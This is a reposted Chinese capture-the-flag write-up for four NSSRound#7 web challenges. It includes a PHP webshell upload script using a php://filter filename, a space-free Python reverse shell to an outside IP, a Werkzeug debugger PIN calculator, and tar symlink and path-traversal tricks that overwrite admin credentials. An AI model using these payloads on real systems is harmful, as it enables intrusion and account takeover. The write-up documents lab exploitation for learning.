[NSSRound#7 Team]ec_RCE
源码:
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
我丢??java
结果不是,发现action和data都是可控的,那就利用||来执行
[NSSRound#7 Team]0o0
<?php
error_reporting(0);
highlight_file(__FILE__);
$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!
<?php
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
首先我们再了解一下死亡绕过,详情可以看file_put_content和死亡·杂糅代码之缘 – 先知社区
($filename,"<?php exit();".$content); ($content,"<?php exit();".$content); ($filename,$content . "nxxxxxx");
起初我不知道这个究竟是哪种形式
其实我们可以先写进内容,再用php伪协议读文件,这样就变成了第一种形式,因为这里的文件名和内容都是我们可控的。
写进内容:注意这里有文件名要求需要包含有png关键字,可以命名为xxx.png.php的形式,这样依旧是php文件,写进的内容要用base64编码一下:
记得写进内容的时候再PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw==
前面添加三个字符,这样可以避免base64的编码性质导致后面我们需要的内容解码错误。
import requests
import base64
content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""
url = "http://43.143.7.127:28524/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7"
data = {"submit": "Submit"}
files = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%31%31%2e%70%6e%67%2e%70%68%70', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)
[NSSRound#7 Team]ShadowFlag
from flask import Flask, request
import os
from time import sleep
app = Flask(__name__)
flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False
@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()
@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"
@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"
if __name__ == "__main__":
app.run()
代码逻辑比较简单,在/shell路由中有一个命令执行,但是这个命令执行把空格给过滤了,并且命令是没有回显的
我们的第一个思路就是反弹shell了,这样可以比较直接地得到命令回显。但是实践的时候我们遇到了这么几个问题:
3.部分python代码的反弹shell也没有效果(因为服务器本身就是flask,是依赖python的,我们可以利用python反弹shell)
在巨魔师傅的github仓库中,有一个反弹shell的payload合集:PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
在这里面我们可以找到空格被过滤的python反弹shell:
python3$IFS-c$IFS’a=__import__;s=a(“socket“).socket;o=a(“os”).dup2;p=a(“pty“).spawn;c=s();c.connect((“xx.xx.xx.xx“,2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p(“/bin/sh“)’
这里没有空格可以利用$IFS或者%09来绕过,因为$IFS是在命令执行的时候换成空格,所以在action.find(" ")
的时候并不会被检测到。
第一个flag:我们可以发现第一个flag是利用
open("/tmp/flag1.txt", "r")
打开的,而且并没有使用close关闭,那么这个flask还在运行,我们就可以在/proc/[pid]/fd的内存中找到他。一般是存在15-35这个范围,我们一一寻找,最后 在/proc/16/fd/*
中找到了
第二个flag:第二个flag就相对比较麻烦了,因为第二个flag是利用
with open("/tmp/flag2.txt", "r") as f:
打开的,用with会默认打开使用后关闭这个文件,我们就只能从flask的环境中去寻找flag2这个变量了,我们第一个就想到了利用console,但是利用console需要有Flask的Pin值,我们现在来看如何利用shell来计算Pin值
这个也算是第一次自己计算,因为这个脚本写的很清楚,所以比较有想去计算的欲望。
先贴上巨魔师傅的脚本:
# sha1算法,适用于高版本flask
# 无空格Python弹shell
# python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("192.168.23.38",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
str(int("02:42:ac:02:97:54".replace(":",""),16)),# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
"e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
这个脚本后面的注释都需要我们一一去计算,每次都需要重新计算再运行脚本,否则就会出现Pin不正确的情况。
我们先看:
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
第二个是默认值就不用改了
接着我们再来看
private_bits = [
str(int("02:42:ac:02:97:54".replace(":",""),16)),# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
"e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"# /proc/self/cgroup
]
第一行
02:42:ac:02:97:54
是MAC地址,直接用命令cat /sys/class/net/eth0/address
即可得到
计算得到Pin值:
因为我们的程序是运行在如图所圈的环境下,所以在圈中输入Pin后输入flag2获取变量flag2
后面还看到了不反弹shell的解法:NSS Round7_web – nLesxw – 博客园,有兴趣的师傅可以看看
[NSSRound#7 Team]新的博客
这一题是问了 Backr0d 师傅,Backr0d师傅给了一个非预期解一下就豁然开朗了。先说一下非预期解:
使用软连接覆盖掉 /用户/flag,然后利用这个flag文件连接指向/app/conf/userinfo.json达到覆盖的目的,只能说很高明,就是感觉这个路径问题得多尝试一下,这个/app应该是个根目录。
非预期解:
之后点开用户有这么几个功能点:
我们和上一个目录结构对比一下,也有一个flag,然后上面一个用户名,我们根据文件明猜测所有的用户都放在userData之下,包括admin用户。
所以非预期解就是利用博客恢复功能,上传tar.gz文件,利用这个flag软连接指向/app/conf/userinfo.json,然后再上传一个我们修改后的admin的sha1的json文件,就可以修改admin的密码
这个flag的内容可以用脚本生成:
import hashlib
import json
password = 'admin'
with open('userinfo.json', 'wb') as file:
file.write(json.dumps({'admin': hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))
上传后,利用admin,admin就可以登陆成功了。点开第二个URL就可以看到flag了:
预期解:
预期解是利用目录穿越直接覆盖掉userinfo.json文件吧,在搞预期解的时候真的非常头疼,一直手撸不出来那个目录结构,同时利用官方WP的脚本一直报错,就很难受,无奈只能改一下脚本:
import os, hashlib, json
username = 'qingfeng' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = 'admin' # 之后要使用admin账户登陆时的密码
os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')
就是创建那个..的目录一直恶心我受不了了。
然后就上传upload.tar.gz就行了,同样也可以拿到flag
原文地址:https://blog.csdn.net/qq_64201116/article/details/128922324
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_23852.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!